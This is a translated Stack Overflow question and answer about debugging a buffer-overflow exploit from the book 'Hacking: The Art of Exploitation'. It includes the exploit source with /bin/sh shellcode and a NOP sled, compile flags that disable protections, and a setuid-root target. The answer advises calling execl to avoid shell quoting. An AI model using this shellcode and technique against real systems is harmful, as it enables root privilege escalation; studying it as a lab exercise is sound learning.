我目前正在阅读乔恩·埃里克森( Jon )的书“黑客:开发的艺术,第二版”,我被一个关于利用缓冲区溢出的问题困住了。
首先,我们有一个notetaker.c (https://github.com/intere/hacking/blob/master/booksrc/notetaker.c)代码,它写在/var/note文件中
其次,我们有一个noteseach.c (https://github.com/intere/hacking/blob/master/booksrc/notesearch.c)代码,它在/var/note文件中读取。
要编译和使用它:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch然后,我们使用exploit_notesearch.c来进行开发。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; // set return address
printf("%0x\n\n", ret);
for(i=0; i <105 ; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 20); // build NOP sled
memcpy(buffer+20, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit然后,我们有了用于开发的代码:exploit_notesearch.c:来编译和使用它:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c经过一些测试,149是我没有得到SEGFAULT或非法指令错误的唯一值。然后我做了:./a.out 149和我得到了这样的结果:sh: 1: Syntax error: Unterminated quoted string,所以,我检查了数组命令的值,并发现实际上,ret变量中的一个字节有一个撇号作为表示。我怎么才能修好它?我目前在Linuxubuntu4.15.0-96通用i686上工作。
如果需要,这是hacking.h (https://github.com/intere/hacking/blob/master/booksrc/hacking.h)的代码,如果您想编译这些文件的话。
发布于 2020-04-29 11:34:49
system()不太适合这个任务,因为正如您所看到的,被调用的shell在命令字符串中解释了某些字符。更好利用
execl("notesearch", "notesearch", buffer, NULL);因此,
notesearch一起使用buffer中的参数执行,而不需要shell干预。https://stackoverflow.com/questions/61492624
复制相似问题